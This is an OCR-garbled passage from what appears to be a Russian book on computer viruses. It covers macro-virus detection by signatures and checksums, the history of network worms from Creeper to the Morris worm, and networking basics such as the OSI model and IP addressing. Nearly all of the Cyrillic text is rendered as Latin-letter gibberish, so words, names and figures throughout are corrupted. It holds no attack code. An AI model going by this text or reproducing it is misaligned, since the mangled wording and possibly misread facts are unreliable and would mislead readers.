«p-code» MS Word BbiOrpaer cam 1 feJ1aeT 9T0 KasKIblil pa3 crydailHbIM
o6pasom. Takum 06pa3oM, /ISt PacIio3HaBaHUS TIOA00HBIX BUPYCOB HEOO-
XOJIUMO TIPEIBAPUTETHHO PACKOAUPOBATH «pP-code».

Eciu ke MakpoBUPYC MOJUMOP(dEH, TO B JIIOOOM ciydae Oe3 BoccTa-
HOBJIEHUST M aBTOMATHYECKOTO aHAJIM3a €T0 UCXOHOTO TEKCTa 00OUTUCH,
HO-BUAUMOMY, HeBO3MOsKkHO. K cuacrbio, Bupyc Macro.Word. Wazzu.gw
K KJIacCy OAMMOP(MOHBIX HE OTHOCUTCA.

[TockoibKy MaKpOBUPYCHI HAMMCAHBI HA SI3BIKAX BBICOKOTO YPOBHS
n noyac Ha 90% cocToAT U3 Tex jKe KJI0YEBBIX CJI0B, KOMaH/ 1 OJIOKOB
KOJIa, YTO U BIIOJIHE «OJIarOHaMepeHHbIe» MaKPOCHI, JIsT UX PAacliO3HABa-
HUST PEKOMEH/IYETCsI MCII0Jb30BATh [JINHHBIE CUTHATYPBI — Pa3MepaMHu,
10 KpaiiHeil Mepe, B HECKOJIbKO COTeH 0aiiToB. A MOKHO U KOHTPOJIbHbIE
CYMMbI — UMEHHO TaKou IoAXOo MPOAEMOHCTPUPOBAH B IIPUJIOKEHU .

Meronuku yiaienust BUpyca u3 [OKyMeHTa Orucanbl Boiiire. [[pumepsr
LIPOLEAYD IIPUBEAEHDI B IIPUJIOKEHUU.
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CaMopa3MHOKAIOIINECS] TIPOTPAMMBI, O KOTOPBIX Ceivac TOIIeT peub,
06 beIMHEHBI B OOIILYIO TPYIITY B CBSI3U CO CIIOCOOHOCTHIO CAMOCTOSITEILHO
MEPEMEIIATBCS ¢ KOMITBIOTEPA Ha KOMIIBIOTED, 63 UCIOIb30BAHNS KaKUX-
60 MPOMEKYTOUHBIX HOocuTeseli Tuma aucket, CD, ek u . 1. 1o
BO3MOKHO OJIaro/iapsi CyIeCTBOBAHUIO W ITUPOKOMY PACIPOCTPAHEHUIO
KOMNbIOMEPHLIX cemell.

BosbimHCTBO BUPYCOB, PACIPOCTPAHSIONIUXCS IO KOMITBIOTEPHBIM
ceTsIM, He MPUKPEILISIOTCS K IPyTUM IIporpammaM. bosiee Toro, HeKoTo-
pble U3 HUX HE UMEIOT Ja’Ke CBOETO IIPOrpaMMHOTO daiisa, a cylecTBy-
10T TOJIBKO B OIEPATHBHOI ITAMSITU B BH/IE MTPOIECCOB. DTO O3HAYAET, UTO
BCE OHU MTPEUMYIIECTBEHHO MPUHAJIEKAT K KJIACCY 8Upycog-uepseti (in
MIPOCTO uepaetl).

6.1. KpaTkas ncrtopus cetein n ceteson
«33pa3bl»

— Onu paspasnusaiom 3asa, — 00vsicnui Jlo. —

Crnad noumu zomos. Cetiuac 6cs cucmema nepe-

cmpausaemes. Onu Gydym cmpoumv anzap u
6000nP0B00.

A.n B. Crpyrarnxue.

«Bosspaienne» («Iloanenn. XXII Bexs)

Komnvromepnole cemu Kak cucteMbl MH(GOPMAITMOHHOW CBSI3U MEKIY OT-
JeJIbHBIME KOMIIbIOTepaMy Hauyaiu paspabatsiartbest B CIITA ¢ koHia
1950-x romos. Criyctst mecstunere, kK KoHiy 1960-x To10B yike cytmect-
BOBAJIU HE TOJILKO MHOTOUUCJEHHbIE J0KAIbHble cemu (00beMHSBIIIE
pacnoJiosKeHHbIe PSIZIOM KOMITbIOTepHI), HO U TI0 KpaiiHell Mepe oj[Ha 2710-
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6awnas cemv ARPANET, cBsasaBinas B eHoe WH(GOPMAIIMOHHOE TPO-
CTPAHCTBO HECKOJBKO KPYIHBIX HAYYHO-UCCJAEIOBATEIBCKUX U BOCHHDIX
nenTpoB CIIIA. /[715 opranusaium cBsA3u MEK/Y KOMIIbIOTEPAMU MCIIOJIb-
30BAJIMCh camas pasHooOpasHast, MaBHBIM-aBHO MOTEPSIBIIAS aKTyallb-
HOCTh U HBIHE COBEpIIEHHO 3a0biTast arnaparypa. O mporpaMMHBIX peliie-
HUSAX U TOBOPUTD HE TIPUXOIUTCS: B T€ BPEeMeHa CYIEeCTBOBAJIO MHOKECTBO
pasHoBuzHocTeir OBM, Bce OHM BBIIYCKAINCh CPABHUTEIbHO HEGOJIb-
HIUMU «TUPAKAMU», ¥ Kaykias paboTasa moj ynpasjieHueM cOOCTBEHHON
orepairoHHoil cucrembl. IToxkanyil, IMEHHO 3TOT pa3HOOOIT U CIIY KL Ha
PaHHMX dTAlax MPENATCTBUEM K HNIMPOKOMY PACIPOCTPAHEHUIO CETEI.

Tem He MeHee B rocaenyionire rojibl KosnuecTBo KinenToB ARPANET
IMOCTOSITHHO YBEJIMYNBAJIOCH 32 CUET AMEPUKAHCKUX YYACTHUKOB, a B 1973 1.
K Hell ObLIN BIIEPBbIE MOAKIIOUEHbl M HHOCTPaHHBIE (HOPBEKCKIE U aHT-
JINICKME) OPTaHU3AIUH.

ITpumepno k cepeaute 1970-x rogoB oTHOCATCS U 11epBbIe 3abaBbI € ca-
MOCTOSITEJTHHO PACIIPOCTPAHSIONIMMUCS 110 CETH IIpOrpaMMaMiu. B ute-
paType MOKHO BCTpPeTUTh ornucanue rnporpammbl Creeper («BbpioHok» ),
HanucanHol HekuM Bobom TomacoM U cIioco6HOM mepeMenarbest OT
KOMIIBIOTEPa K KOMITbIoTepy. CKONMMPOBABIIUCH HA YYKYIO MAIITUHY, [1PO-
rpamMmMa TyT JKe yJIaJisijia CBOM «OPUTHHAI», TAKMUM 00Pa3oM, HEBO3MOKHO
OBLIIO MIPEJICKA3aTh, IJle OHA HAXOAUTCS B KOHKPETHBIH MOMEHT BPEMEHH.
Yromunaercst u «aHTUBUPYC» sl Hee — rporpamma Reaper («/Kuerrs)
Pag Tomauncona.

Ha nporszxkenuu 1970-X 10/10B ceTH MHOXKUJIUCH U POCJIU. AKTUBHO
pas3pabaThIBAIUCh U YTBEPHKAAINCH B KAUeCTBE CTAHaPTOB HOBbIE arla-
paTHbIe CPe/ICTBA U cemesvle NPOMmoKoIbl — TO €CTh IIPaBUIA U aJITOPUT-
MbI HHPOPMAIIMOHHOTO 0OMeHa. Bl pazpaboTaH MPOTOTUIT TEXHOJIOTHN
Ethernet. ITosBumnch nepsoHavaabible Bepcuu npoTokoaos TCP/IP,
CTaBIIUX O(PUIUATBHBIMU CTAHAPTAMK HECKOJIBKO T103ke — B 1983 1. [luia
repe/iayn 3JeKTPOHHOM TTOYTHI (2 CeTH TeX JieT B OCHOBHOM JIJIs 3TOTO U
ObLIN IIpeAHA3HAYEHbl ) HaYa/ i IPUMeHsThCs IPpoToKoIbl POP u SMTP.
K xoniry 1970-X 1010B IIMPOKYIO MOIIYJISIPHOCTD IPHOOPEIIN OIlepaiioH-
nbie cucreMbl cemeiictBa UNIX. OHu ycTaHaBaMBaINCh B 1aGOPaTOPHSIX,
By3aX, Ha NPEANPUATHAX U T. 1. He ciry4ailHo MMEHHO PasHOBHIHOCTH
9TOI OIEepPaLMOHHON CHCTEMbI OOBIYHO CTAHOBUJIUCH CPELOii, B KOTOPO
paspabaThIBAIUCh U OTJIAKUBAINCH HOBbIE CETEBBIE POTOKOJIBL. ITO 06-
CTOATEJBCTBO CJIYKUJIO HA TIOJIb3Y CTAaHAAPTU3AIMU U YHU(DUKAIIMY ceTe-
BBIX PellleHun.

B 1980 r. nBoe uccaenosareneit (Ix. [llou u 1. Xarir) u3 KOMIanuu
«Xerox» pelnan peain3oBaTb KPACUBYIO U/EI0 TIPOTPAMMBI, KOTOPas He
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TOJIBKO KOTIMPOBAJIACH OBI TI0 CETH ¢ MAIIMHBI HA MAIITUHY, HO U UCIIOJIB30-
BaJia ObI X BBIYKMCIUTEIbHbIE MOIIHOCTH <«B MUPHBIX 1essix» [60]. TIpen-
[0JIATAJIOCH, YTO PECYPCHI IOJKHBI OBLIN UCIIOJIBb30BATHCSI TOJIBKO B Teue-
HUEe TOTO MHTEPBajia BPEMEHH, ITOKa MalllHa IpocTanBaia. Kak ToJbKo
MallMHa HauyWHATa BBIMOJHATD 3a/laHUs <3aKOHHOTO» T10JIb30BATEd,
«4ysKas» TPOrpaMMa CaMOYIassaiach ¢ KOMIIbIoTepa. Pe3ysbraThl aKc-
nepuMenTa 6T OTyOMKOBaHbl 1 0f100penbl. Ho B HacTosIee Bpems
MIOYEMY-TO CYUTAETCH, YTO TEXHOJOTUU PACHPEICICHHBIX BbIYUCICHUH,
OCHOBaHHBIE HAa MOOUALHLIX azenmax (TO eCTh Ha (hparMeHTax MPOrpaMMm-
HOTO KOJIa, TIepeMelaeMblX OT MAIlIMHBI K MallliHe), al0T MEHbIIE Tpe-
UMYIIECTB, YeM TEXHOJIOTUH, IPelyCMaTPUBAIOIINE Pa3 1 HABCET/Ia MHC-
TAJJIMPOBAHHbIE HA MaliuHe (hParMeHThl KO/a, OOMEHUBAIONIMECS IPYT
¢ apyrom coobrienusimu (Hanpumep, Grid-rexaosoruun). A «4epBb», Uc-
nosib3oBanHbiil [Hloyem n XarmmoM, Boles B UCTOPUIO BUPYCOJIOTUA TIOT
Ha3BaHMeM «Xerox worms.

B 1980-¢ rozbt okonvaTesbHo ¢(hOpMUPOBAINCH OOJIBITUHCTBO COBPE-
MEHHBIX ITPOTOKOJIOB Ie€pe/laul JAHHBIX, UCIIOJIb3yEeMbIX /10 HACTOSIIErO
BpeMenu. OQOpMIINCH U Pa3BUINCH HECKOJBKO KPYITHBIX TII00ATbHBIX
cereii (kpome ARPANET, MOHO OTMETUTD «BOeHHyI0» ceTh MilNet, «ia-
yunyio» cetb NSF u T. 11.). B camoM KoHile jiecsaTujieTus Hauauioch CJIus-
nue ARPANET u NSF B onny rio6anbhyio cynepcerb — INTERNET.
MoskHO ynomMsiHyTh Takxke HekoMMepueckyio cetb FIDO, koTopas conep-
JKaJIACh HA CPEJICTBA SHTY3UACTOB, TIO3BOJISIIIA OOMEHUBATHCS 3JIEKTPOH-
HBIMH MHUCHbMaMK U TojiepxkuBaga BBS («asiekTpoHHbIE TOCKU 00DBSIB-
JIeHUll») — MOJJIMHHbBIE «CKJIA/bl» JOKYMEHTOB, KAPTUHOK, [IPOIPAMM...
a 3aoiH0 U paitnoBbix BupycoB. Uutepecto, uro FIDO cyiectByer 10
CUX TIOP U IIPUHIIMIIHAJIBHO COXPaHseT aBTOHOMUIO OoT M HTepHeTa.

B nauase nossops 1988 1. 23-sernuii acnupant KopHebCcKoro yHu-
Bepcutera Pobept Moppuc-MIaammii 3a1ry CTUI B JIOKAIbHYIO CETh CBOE-
ro YHHUBEpCHUTETa caMOpasMHosKalolyiocs mporpammy. Ilpaktnyeckn
Bce cereBble y3ibl B Konle 1980-x romos pabortanu moj TOM WA MHON
PasHOBUAHOCTHIO onepannonnoii cucreMbl UNIX. Hepss Moppuca 6bL1
opuenTupoBat Ha /iBe u3 Hux: BSD UNIX 4.3 (a1 kommbiorepo VAX)
u SunOS (mist komnbioTepos Sun). OH MCIIOIB30BAT HECKOJIBKO I'PY-
OBIX <«JIBIP» B CETEBBIX CJYKOAX ATUX OMEPANUOHHBIX CUCTEM, Y4TO MO-
3BOJISLJIO TIEPETACKUBATH CBOM MCXOMHBIN TEKCT € MAITUHBI HA MAIUHY,
KOMITMJIMPOBATD €TI0 U 3AIIyCKATD MTOJIYYalOIUiCs 3aTPy30UHbII MO JIb.
A mapoJsiv Ha JIOCTYT K YY:KUM KOMIIBIOTEPAM 4YePBb IIPOCTO-HAIIPOCTO
oI0MPaJ, UCIIOJIb30BAB 3apaHee 3arOTOBJIEHHBIN CIIMCOK M3 TPUMEPHO
400 cnos. [Tockousbky cetb gBisiyach yactbio ARPANET, Bupyc 10B0JIBb-
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HO OBICTPO PACIIPOCTPAHKIICS 32 TIPEIENIBI YHUBEPCUTETCKOTO CETMEHTA.
Ou coziepskan omubKK B MPOIELype, MPOBEPAIONIEH 3apakeHHOCTh Ma-
muH. biarogaps aToMy B OllepaTUBHON NaMSATH KOMITbIOTEPa HEPEIKO
OKa3bIBAJIOCh HECKOJIBKO MAPaJIeTbHO PAGOTABIINX BUPYCHBIX MPOIEC-
COB, UTO CHJIBHO CHMIKQJIO NPOM3BOJIUTEILHOCTD cUCTeMbl. HekoTopbie
KOMIIBIOTEPBI Jlake 3aBUcaIn. B HEcKoIbKO pa3 Beipoc u Tpaduk. Ha-
YaJIMCh MACCOBBIE OTKJIIOUEHMS 3aPa’KeHHBIX MAIIIUH U CETEBBIX CETMEH-
toB. Haubosee xkpanuduupoBaHHblie CIEIUATUCTDI, 0OCAYKUBAIOIIE
ARPANET, sansiuch uayyeHueM BUPyca 1 COCOOOB €ro yAaJeHus U3
CUCTEMBI, HO B YCJIOBUSX PACIIAJAIONIUXCS CETEBBIX KOMMYHUKAIIMHI UM €
TPY/ZIOM y/laBaJIOCh HaJlakKMBaTh B3auMmo/ieiicteue. HeBosbHOI :KepTBOI
KCTPEMaJIbHOTO Tpaduka cTan u caM Moppuc, UCITyraBIIUicsS MacIiTa-
GOB MHIM/JICHTA ¥ PENIMBIIMN UCTIIPABUTH CUTYAIMIO IIPU TOMOTIM aHO-
HUMHOTO 3JIEKTPOHHOTO MHUCbMa C OMUCAHUEM <IIPOTUBOSAUSA», — OHO
MPOCTO He JIONLTO 710 aapecatoB. Torma aBrop uepsst sisuscss B MBP ¢ mo-
BUHHOI. Xa0C B aMEPUKAHCKUX TJIIOOAIBHBIX CETAX TPOAOJIKAICSA OKO-
JIO TIOJIYTOPa CYTOK, TIOTOM CHEINUANUCThI PA300PAINCh B OCOOEHHOCTSIX
«3apasbl», pazpaboTajiu Mepbl IPOTUBOACHCTBYS U 00y3aaau yepss. [1o
o(UIMAIbHBIM JaHHBIM, MM ObLIN 3apakeHsl 0K010 6200 KOMIBIOTEPOB
(4TO COCTABUIO OKOJIO 7% BCEX y3JI0B CeTH), 00Ul yuepd cocTaBu
6osree 98 MJIH J0/LIAPOB.

«Yepsb Moppuca» (amepukaHiiam 6oJjiee U3BECTHBIN 110]] He3aTeH/In-
BbIM HanMeHoBanneM «Internet Worm» ) oniepezinii cBoe Bpemsi ouTH Ha
necsatuserve. Ha mporsikennu 1990-x ro10B HUKTO U3 BUpycolrcaresien
He PUCKHYJI IIOBTOPUTD «IOABUr» Pobepra Moppuca: B Moge Obuiu daii-
soBbie Bupychl st MS-DOS u Windows. 3aTo MHIIMAEHT ¢ 9TUM YepBEM
rocayskuit TosrakoM K co3ganuio CERT (Computer Emergency Response
Team) — HEKOMMEPYECKOI MeXKIyHapOAHOU OpraHu3aluu, 00beIMHNUB-
1eli CrenuaIucToB B 06JIaCTH ceTeBoi He30MacHOCTH.

A ceTy TeM BpeMeHeM IPOA0JIKIIN cBoe OypHoe passutue. B 1989 .
Gbita chopMyIMpPOBaHA KOHIENIMS TUIEPTEKCTa, BCKOPE MOSBUIIKCH
crernduranyss HTML 1 nporokosr HTTP. B 1993 1. 6bu1 Hanvcan mep-
Boiit WWW-6paysep NSCA Mosaic, J0CTyIIHBIIA B BULE UCXOLHBIX TEK-
CTOB U IOCJIYKUBIIUII OCHOBOH JIs1 Beex GoJjiee MO3MHUX PaspadOTOK —
n Netscape Navigator/Communicator, u Internet Explorer, u Opera,
n Firefox. ITepsbie nersin BeeMupHoii nayTHHbBI JIErIH Ha Iapajijiesind 1
Mepuananbl 3eMHOro mapa. CaliTel pOCau 1 MHOKUJIUCH HA BCEX KOHTHU-
HeHTax, Kak rpubbl. KosmuecTBo mosibzoBaresieil pocjio 1o aKCIHOHEHTe,
K 1996 roxy Murepter o6beuHsI yKe OKOJIO 9.5 MIH KOMIIBIOTEPOB BO
BCEM MHUpe.
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Bupyconucarenn obpaTujind Ha HEro cBoe IPUCTaJbHOE BHUMaHUE
b B Havane 1999 roga. Ho 06 sToM 4yTh 103Ke. ..

6.2. ApxuteKTypa coBpemMeHHbIX ceTein

..9mo 6vuia cucmema mopos, YUIUHOPOS U wa-
P08, CBAZANHBIX OLCCNAUUMU TPOCAMIU...

A.n B. Crpyranxkue. «Craxepbr»

3a MoYTH MOJTYBEKOBYIO MCTOPHIO Pa3BUTHUS KOMITBIOTEPHBIX ceTei Oblia
BBICTPOEHA OTPOMHAsSI U CJIOKHASI CHCTEMA, B OCHOBE KOTOPOI JIE)KAT Thi-
CSIYU W THICSIYM Pa3HOOOPA3HBIX allllaPaTHBIX YCTPOUCTB, MPOrPAMMHBIX
MPOJYKTOB ¥ IPOTOKOJIOB B3anMoeiicteust. Heo6xoammo, XoTst ObI B 06-
X 9epTax, MpeACTaBJIATb ce6e OCHOBHbBIE TIPUHITUIIBI €€ yCTpOﬁCTBa n
dbynxmmonuposanms [23].

6.2.1. Tononorua ceten

KoMmmbtoTepHyto ceTh yaobHee MpeACTaBisaTh cebe B BUIE MHOKECTBA
V3JI0B — OT/EJbHBIX MaIlliH, 00beJUHEHHBIX B €IAMHYIO CUCTEMY TTOCPE]I-
CTBOM (PU3UUECKUX W JIOTHIECKUX CBSI3EH.

Cy1tecTByeT ycJIOBHOE pa3jiesieHue ceTel Ha1oKaivHbvle (Yb1 KOMITBIO-
TEPbI PACIOJIOKEHBI Ha HEOOMBIINX PACCTOSTHUSX APYT OT ApyTa) U 210-
banvrvie (¢ JAJIEKO PACIIOIOKEHHBIMU KoMIbioTepamu ). Paree dakrop
PACCTOSTHUS HaKJaAbIBaJ OGOJIbIINE OTPAHUYEHHUST HA KCIIOJb3YEMYTO
anmapaTypy M TPOTOKOJIBI CBS3W. B Hacrosinee ke BpeMms, B CBI3U
¢ mporpeccoM B obsacT obecriedeHrs YCTOUYMBOCTH CBSI3H, BIIOJIHE
BO3MOJKHA CUTYAITHs, KOT/Ia <JIOKAJTbHbIE» YCTPONHCTBA U TPOTOKOJIBI MIC-
MOJTB3YTOTCS JIJIST CBSI3BIBAHNS KOMIIBIOTEPOB, PACTIONOKEHHBIX B PA3HBIX
HOJIyIIapusaX 3eMJId, a «riobaibHble» — Ik 0OMEHa B3aUMOAEHCTBIS
MEKy IBYMSI KOMITBIOTEPAMU, CTOSIIIIUME Ha COCeTHNX cTosax. [loaTo-
MY TOJ «JIOKQJIbHBIMU» CETSIMU ceiiuac 0OBIYHO MOHUMAIOTCST MHOJKECT-
Ba MallliH, TPUHAJIEKANUX OHON OPraHU3aluM W HCIOJb3YONNX
obmume npuHiIKIbl cBA3u. COOTBETCTBEHHO, «IJI00aNbHas» CETh — ITO
KOHTJIOMEpAT W3 HECKOJbKUX JIOKaJdbHBIX ceTell. Hy u, Hakonetn, Un-
TEPHET — CUCTEMA BCEX JIOKAJbHBIX U IJI00AIbHBIX CeTell IJIaHeThl 3eM-
Jisl, UMEIONINX HeTOCPEeJCTBEHHYI0 MJIM KOCBEHHYIO MH(POPMAIMOHHYIO
CBSI3b JIPYT C IPYTOM.

Kasxmas koHKpeTHast ceTh MOKeT NMEeTh OTIPe/IeJIEHHYIO TOMTOJIOTHIO —
<KOJIBI[O», <IITHHY>», «3Be3[y» U T. I. J[Jis TOro uTOObl PasjnyaTh y3JIbl
B CETH, KaK/AbIi U3 HUX MMeeT cOOCTBeHHbIN uaeHTuduKaTop — adpec.
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CeTb2

Puc. 6.1 < KoHrnomepar nokanbHbIX CETEN

Hexkoropbie y3Jibl MOTYT UMETh HECKOJIBKO aapecoB. Huuero HeoObIuHO-
ro, BepHo? Benp gaxke nonysspubiii mepcoraxk pomanoB 0. Cemenona
B (ammcrckoil Tepmanun ObL1 usBecten Kak mrangapreHdiopep CC
Makc Otto don Hltupsant, B cucteme COBETCKOI Pa3Be/IKu — KakK MOJI-
KOBHHUK rochesomacHoctn M. M. Mcaes, a moma, B KpyTy OImKafimmmx
poncTBeHHUKOB — Kak CeBa Buagmmupos. Cucrema HazHaueHWsS He-
CKOJIBKUX aJIPECOB OJHOMY Y3JIy MOKET ObITh pasjauuHoil. Hampumep,
y3en «1.4» mepBoil ceTn MOXKeT paccMaTpUBATHCI KaK 3JeMeHT BTOPO
CeTH ¥ MO3TOMY MMETh JOMOJHUTENbHBIN anpec «2.5». Ho Bo3amoskeH u
JPYTOIl MOAXO, KOT/Ia BCe TOA00HbIE Y3JIbl CUUTAIOTCS 3JIEMEHTAMU ellle
onHon cetn ¢ anpecamu (A, B, C, D), B aTom ciyuae y3es MOJIy4duT J10-
MTOJTHUTEIBHBIN azipec «A».

«PsiioBbIe> y3JIbl, CBSI3aHHBIE TOJIBKO C y3JaMU CBOeil cOOCTBEHHOU
ceTH, MbI OyjieM HasbiBaTh xocmamu. Ha y3Jibl, KOTOPbIE CBS3BIBAIOT Pas-
JIMYHbIE CETU ¥ MMEIOT B HUX PA3JIMIHBIE a[[peca, 00bIUHO BO3JIAratoTCs 3a-
Jaur BbIOOPA HalpaBJeHUH HWH(MOPMAIOHHBIX TIOTOKOB, KYPCUPYIOIINX
MesKLy ceTsiMu. Takue y3iibl Mbl OyeM HasbiBaTh MAPUPYMUIATIOPAMU
(ecm OHM CBSI3BIBAIOT OJHOPOJIHBIE, YCTPOEHHBIE 1O OJHUM WM TEM Ke
MPABUJIAM CETH) WJIH wato3amu (€CM CBSI3bIBaeMble CETU PAa3HOPOIHDI).
CripaBeuIUBOCTH Paiy CJefyeT YIOMSIHYTh elle MOCmbl — YCTPOUCTBA
CBSI3U PA3JIMYHBIX CETEi, KOTOPBIE TOKE YIPABISIOT MH(GOPMAITMOHHBIMHI
MOTOKaMHU, HO COOCTBEHHOTO a/ipeca He UMEIOT U TIOTOMY JIJIsl XOCTOB He-
3aMETHBI, TTPO3PAYHBIL.
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6.2.2. CemunypoBHeBas mopens I1ISO OSI

[Ipu mepenaye wHGOPMAIUN TI0 CETU MPUXOAUTCS PEIIATh MHOKECTBO
Pa3INYHBIX JOKAJIBHBIX 3a1au. [Toatomy B 1980-x romax ObLta paszpabo-
TaHa CHenuagbHas MepapXus ITUX 3aja4, KOTOpask MOJydiia Ha3BaHue
«arasortoil Mogenu [ISO OSI». Pesyibrat nHMOOPMAIMOHHBIX TIpeobpa-
30BaHUH, BBITIOTHAEMBIX HAa TOW WJIM WHOU CTYTIEHU 3TON UepapXuu, CIy-
SKUT MCXOIHBIMU JTAHHBIMU [IJIs1 CJIEMYIONIEN OTepariuy, BBITIOTHIEMO
Ha cJenyioell cTymeHu. B cOOTBeTCTBUM ¢ 3TUM CeTEBBbIE TEXHOJOTUHU
CTAaHOBUTCS yZ0OHO TIPOEKTUPOBATH M PEAU30BBIBATD B BUJIE MHOKECTBA
ABTOHOMHBIX ITPOTPaMMHO-ANNaPAaTHBIX MOJLYJIEH, BBRITIOTHSAIONINX T€ WJIN
MHBIE 32/[a4U U TIePe/IAIONINX Pe3YJIbTaT Jajlee.

Mopesb ISO OSI conep:RUT ceMb «CTyTEeHE».

1. Ha ¢usuuecxkom yposue peniaiorcs 3ajiaqu nepeauvl CUTHAJIOB OT
ycTpoiicTBa K ycTpoiicTBy. CTaHIapThl 3TOTO YPOBHS ONMUCHIBAIOT
Cpe/Ibl TIepe/laun IAHHBIX (9JIEKTPUYECKUE U OTITOBOJIOKOHHBIE Ka-
6eqn, pagnoaup U T. I1.), KOJINYECTBEHHbIE TTAPAMETPHI CUTHAJIOB,
reoMeTpuYecKre XapaKTePUCTUKKI PAa3beMOB 1 T. TI.

2. Kananvnwil yposens TOCBSIIEH BOIPOCAM TIepelayil OTEIbHBIX
6utoB uHMopmaru. Hamprmep, MPOTOKOJI KaHATILHOTO YPOBHS,
oTMCcaHHbIH B cTangapre RS-232, mompazymeBaet nepeaady OT/aeb-
HBIX OMTOB YPOBHSIMH TIOCTOSTHHOTO HAIPSIKEHUsI, COOPAHHBIMU
B MH(MOPMAIMOHHbIE TTAKEThI U BKJIIOUYAIIUME «CTapTOBbI» OUT,
rpymiy uHGOPMAIMOHHBIX GUTOB, GUT KOHTPOJIS IEJOCTHOCTH,
«CTOTIOBBIiI» OUT U T. 1. Takyke Ha 3TOM YPOBHE <KUBYT» (DU3H-
YecKue ajipeca yCTPOHCTB, 00ecreunBaionmx WH(HOPMAIUOHHYIO
CBsI3b, HANIpUMep yHUKaIbHbIe MAC-azpeca, HAMEPTBO «3aIIUThIEY
B CETEBbIC A/IAITEPBhI.

3. Cemesoii ypogens pelaet 3aa4y HA3HAYEHUST OT/AEJIbHBIM YCTPOIi-
CTBaM JIOTUYECKUX AJ[PECOB, YCTAHOBJIEHUSI COOTBETCTBUS MEKIY
JIOTUYIECKUMU U (DUBUIECKUMHU ajipecaMu, BbIOopa myTu nHbopma-
IIMOHHOTO TIOTOKA MESKY Y3JIaMU OJHO¥ ceTH U T. . PazpaboTaHbl
HECKOJIBKO QJIBTEPHATUBHBIX a/[PECHBIX CHUCTEM, HO TJIABEHCTBYIO-
IIyTo poJib B coBpeMenHoM VuTepHete urpaet cucrema IP-anpecos
(peub o0 Hell TON/IET aJIbIIIe).

4. Tpancnopmuwiil yposenv OTBEYAET 32 CJOKHEUIYIO 3aj1a4y MPOBe-
NeHnsT «MTH(GOPMAIMOHHBIX TIOE3/I0B» OT HAYAJIBHOW /10 KOHEUHOI
«cTaHmn». Ha KOpoTKHre pacCcTOsTHUS HeGOJIBIITIE «IT0e3/[a» BOHT
6oJiee TipocToii 1 GpicTpbIil poTokoa UDP, a JIMHHBIMU «I10e3/1a-
MU JIAJIBHETO CJIEI0OBAHUS» YIPABJSIET GoJiee HAEKHBII TPOTOKOJ
TCP.
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5. Ceancosvlil yposens 3aHNMAETCST BOIIPOCAMU Pa3pelleHus U 3ampe-
MIEHUS CETEBOTO B3AaMMOJIEHCTBUA MEK/TY PA3IMUHBIMUA YIaCTHUKA-
M1 THGOPMATTHOHHOTO 06MeHa.

6. Yposenv npedcmasnenus orsedaet 3a GOpMy IPEICTABICHUS TaH-
HBIX. 3/IeCh PEMIAIOTCS BOMPOCHI CKATUS, KOAUPOBAHUS U MUMPO-
BaHWS Tepe/ilaBaeMoi MH(OpMaIU.

7. Haxownen, yposenv npuioxcenuil IOLAEPKUBAET BCe MHOrooOpa-
31e YCJIYT, IPeIOCTABISEMbIX KOHEYHOMY OJIb30BATENIO: TPUEM U
nepesiavy aseKTpoHHol mouTsl (mporokosast POP3, IMAP, SMTP),
ckaunBanue daitzioB u3 apxuBoB (1porokosibl FTP u TFTP), npo-
cmoTp runepTercToBeIx W W W -ctpanut (mporokosn HTTP), yna-
JIEHHOE YIIPaBJIeHIIe KOMITBIOTEPAMU U T. TI.

Hauunas ¢ kaHaibHOro ypOBH, MOPIUU IEePENaBAEMbIX IO CETH
NTAHHBIX O(GOPMISIOTCS B BUJE NAKEMOS8, KOTOPbIE MPEICTABISAIOT CO-
60ii cobcTBeHHO MHMOPMAIMOHHDII GJIOK IJII0C CIIyKeOHbII 3ar0JI0BOK,
o OpMIIEHHBIIT B COOTBETCTBUU C IIPABUJIAME TOTO HJIU HHOTO IPOTOKOJIA.
B repmunax TCP/UDP naxersr Tak:ke HHOT/IA HA3bIBAIOT 0eimazpamma-
mu (Oamazpammamiv).

He caenyer, onnako, aymarb, 4To HOPLUS AAHHBIX, I€PeaBaeMas 1o
CeTH, JI0JKHA TIPETEPIIETh CTOJIBKO TIOCIEI0BATEIbHBIX TIPe0OPa30BaHMii,
ckosbko «cryrneneks» [SO OSI ona mpoxoaut. Hanpumep, ecau B coot-
BETCTBUU C HACTPOWKAMMU CeTH IU(PPOBAHUE 1 CXKATHE JAHHBIX He Tpedy-
€TCs1, TO YPOBEHD MPEJICTABIEHUS MOKET OBITH mpomyiiieH. 11 Hao6oport, Ha
OTIPE/IETIEHHBIX «CTYTEHbKAX> I 0OECTIeUeHUsT TIPOIBYKEHUST TTOPITUT
JIaHHBIX MOKET OBbITh 33J€HCTBOBAHO MHOKECTBO (MHOT/IA Oosiee JecsiT-
Kal) TPOTOKOJIOB OJTHOTO M TOTO K€ YPOBHS.

[TpoToKOM TOTO MM WHOTO YPOBHS, MOJYYHB MAKeT OT APYTOTO MPO-
TOKOJIa, OOBIYHO PACCMATPUBAET €TO IeJUKOM, KaK HeJeJUMbIH Habop
naHHbix. OH MOXKeT KakuM-1160 06pa3oM 1peobpasoBaTh €ro, HarpruMep
3ammndpoBaTh WK Pa3/ieJUTh Ha HECKOMBKO dacTeil. B mobom ciydae,
KaK/Iyl0 BHOBb MOJIYYEHHYIO MOPIMIO JAHHBIX OH CHAOKAET CBOUM 3a-
TOJIOBKOM ¥ OTCBIJTAET fasibliie. Ha mprueMHOM KOHIle HEOOXOAMMO «OTO-
NPaTh» 3aTOJIOBKH, CKJIEUTHh OJOKW TaHHBIX B €WHOE TIeJI0e, pactmd-
poBarb ux u T. 1. Takum 06pazoM, MOPSIIOK TIPUMEHEHUST OnepaIuii mpu
nepeave u mpreMe TOPIHil TaHHBIX pasjimdeH, GoJiee TOTo, OH MPOTUBO-
nostoxkeH. [ToaroMy HaGOpP B3aMMOJEHCTBYIONIUX MPOTOKOJOB HEPEIKO
HA3bIBAIOT «CMEKOM NPOMOKOLO8».

6.2.3. IP-apgpecauus

PaspaboTaHo 1 HCHOB3YeTCst DOJIBIIOE KOJIMYECTBO PASHOOOPA3HBIX TEXHO-
JIOTUI CETEBOrO B3aI/IMO[[eI>)ICTBI/IH, OCHOBAHHDBIX Ha T€X WJIM MHDBIX T'PYIIIaxX
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rpoTtokoJsioB. Hampumep, nosibzoBaresiam 1epBoil mosoBuHbl 1990-x T0-
n0B nmaMaTHbI TexHosoruu ¢dupMmbl Novell, obecrneunsaromine oducam
pacpeIesieHHbII JOCTYI K IIEHTPAJIN30BaHHbIM (azaM JaHHBIX U OCHO-
BaHHbIe Ha IPoToKoJax cemeiicrBa IPX/SPX. Jlioburen <«I10CTpeasTh
